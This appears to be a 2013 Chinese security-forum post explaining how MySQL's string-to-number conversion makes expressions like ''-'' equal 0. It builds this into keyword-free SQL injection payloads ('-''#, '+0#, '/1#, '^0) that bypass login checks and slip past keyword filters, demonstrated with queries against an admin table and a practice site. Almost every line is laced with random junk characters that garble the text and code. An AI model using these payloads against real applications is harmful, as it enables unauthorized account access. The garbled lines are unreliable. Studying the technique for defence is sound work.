找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2075|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。! S% [: I/ h6 J( @
有以下表结构: ( _2 ?* V1 [) h# t$ ~4 W0 t3 {

2 r* C% [; |: x9 u& W: `( E6 C2 }4 s$ fmysql> desc admin;
) |( I3 ~0 I3 t3 G% R  Q+----------+--------------+------+-----+---------+----------------+
+ H  l( k( |- S0 l* k( i3 y! d7 X| Field    | Type         | Null | Key | Default | Extra          |
  J7 Y9 D& O3 C+----------+--------------+------+-----+---------+----------------+% o% @7 }# F: F, z& [- U7 M
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
* v2 j  @) Q7 p9 h: g+ o| name     | char(32)     | NO   | UNI | NULL    |                |: s' \- `: G* ?5 t! r$ g* @: h
| password | char(32)     | NO   | UNI | NULL    |                |
, U) S- e. S2 T) Q( Y+----------+--------------+------+-----+---------+----------------+
2 w: c9 N' Z& U3 rows in set (0.00 sec)3 M' A7 F8 Z  H- C. [, R9 p
执行select * from admin;,成功返回所有记录内容。
1 H8 x; t5 u  X3 a
: S2 t0 I1 {' [3 v" w$ f' E' p9 E2 C3 h
+----+--------+----------------------------------+
3 _; h" U" k+ Q! f* b7 n| id | name   | password                         |/ w7 b# C$ n% b& T9 C4 d
+----+--------+----------------------------------+9 `# G! m* L( l: G
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |& B. t: B2 D/ y, S
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
1 G4 r* ?5 o" [1 E- F! T' B/ w|  4 | n00b   | ff80e8508d39047460921792273533a4 |: i, d# b9 y: d2 _* l' e
+----+--------+----------------------------------+
6 j$ f2 z! R2 y# ?$ F1 r3 rows in set (0.00 sec)
$ e" p) O: _3 L执行select * from admin where name=”;,没有匹配到任何记录。
( P6 g, w) }& g# s' K3 R( b* j# P! c; T: Y! A' W
mysql> select * from admin where name = '';' m" \) `. c  Y$ T8 @2 O0 j
Empty set (0.00 sec)
) k6 {) o$ t* i1 ^- o6 c那么我们来执行select * from admin where name = ”-”;# C% H! {( n0 Z. O# ]# D
) |5 J% J/ i" j0 D- G) Y; L

6 _! C3 ]' S( n4 x2 ]+----+--------+----------------------------------+
9 V$ @/ O$ H1 D  {! D| id | name   | password                         |/ h5 a3 p: [( [! ]+ r( M
+----+--------+----------------------------------+
( H6 O' {; F) i7 d) J2 B|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
% X. I) Q% {! X0 r/ M|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. C- r: f5 q; H; I! G+ @
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
  d* T: W" @& b2 x3 M+ \+----+--------+----------------------------------+
+ Q( F7 `& I3 x% u3 rows in set, 3 warnings (0.00 sec)4 q# C2 H# |" a: X+ ^
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
3 r/ s, j) u7 i. V2 ~0 l' c# P# k1 k7 Y$ g6 h0 ^' z# |1 j" Z9 g5 O
mysql> show warnings;3 K: l& x% g3 e1 ?; I) j
+---------+------+------------------------------------------
5 e+ h7 N% o5 t% Q" Y2 _% f. T| Level   | Code | Message$ B. j* r* D0 A# U' e- w. d, _
+---------+------+------------------------------------------0 l2 a/ Y' Z8 d% ~
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin7 J- h8 d2 t! W" O) ~# ?! o
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
& I  U) a3 p  e| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
& r7 G% C  g! T5 d6 m8 |+---------+------+------------------------------------------
4 h' k3 L( _; ?) K$ I: o3 rows in set (0.00 sec)
+ k7 Y+ U1 k- {; p提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
% c7 m! k% ^( q, f9 r" H. c# J" `, x: x- K% k
mysql> select ''-'';8 l3 }$ S) b* l' i, P
+-------+1 K! `" t" K0 n  C/ W
| ''-'' |
9 Q5 _8 I$ m: {5 `/ L7 Q$ z! S+-------+( c5 ]1 z5 V! Q" @. M
|     0 |
$ T, \4 {" Q* @) B* R: D+-------+
( F) Z; m- ~2 L. _% R* r& b1 row in set (0.00 sec)
/ n. Z/ T, N4 U- F$ J4 w& S4 j返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 1 T2 [; b; u  L& K8 M; |8 }
0 X" t# m1 E; D8 C
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
  _4 `6 J. Z7 n' b+-----------------------------------------------------+
5 p3 Q0 s2 H  O( k+ ]$ d7 }3 \| CAST((select name from admin limit 1,1) as DECIMAL) |
* O$ E* r3 k: u. |0 i4 n# n+ B+-----------------------------------------------------+6 L8 Z! B+ C/ ]4 |- {0 g6 D! V
|                                                   0 |
; U3 G) ^8 H4 j" S+-----------------------------------------------------+
. r  x4 |& _: Q3 j, E2 g+ Z1 row in set, 1 warning (0.00 sec)
, ^% V) K) z) q5 \因此where语句构成了相等的条件,where 0=”=”,记录被返回。
' V4 j) `1 U  Y. H* m& J5 m0 L
- N$ W# q  ~) K# m. `SQL注入场景: http://www.sqlzoo.net/hack/ - P( C; ^+ z1 M+ w2 p
- h$ ~, B+ ~8 M

- ~1 \/ ~5 K6 L: h! J  @2 J1 d$ K( l9 s' L: x
' G& Z& h# z3 V( d6 s8 ~. A  g
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
8 Z$ G' l- q! H7 r4 I' }
* s, t: e- [. w+ r/ @" u那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 : I* m8 }, k3 f, y4 m. M

  k4 S( t, J! P9 p! h$ ]1 O1 h; Z1 g8 b- n- ^/ [, g) B

. O  D+ s- C2 d
8 p- f. o" d+ @& X( h仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 8 a9 ^0 c" Z5 E9 b& m3 E. F1 ~

3 Q% S  F: y" ^8 k  h8 J* G, Y   1 K, y# i! q# @7 _

$ c2 D0 J9 H' _4 r5 i+ w除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可0 I4 J! O1 `2 M8 M1 R
* h8 l! O; V3 J2 {$ i# L7 f

  ~% l# R5 c- |0 Smysql> select ''/1;7 l  C, ?' P" _" d% W
+------+( y6 z5 b/ N, X* `: |
| ''/1 |
% b5 G( K- U' Y) ?* I" {  u- l+------+
% R$ k7 B, ?$ `) w|    0 |5 o0 `  S& D- F. b6 C
+------+2 S$ X: X3 Z: p& i6 B& P. N: S
1 row in set (0.00 sec)5 D0 l& N6 i! `+ w+ ?1 M
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
+ r. r7 r- Q3 i* Y2 `. p
/ I, o5 Z0 o; G9 g利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
. F9 R9 L- y/ x- p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表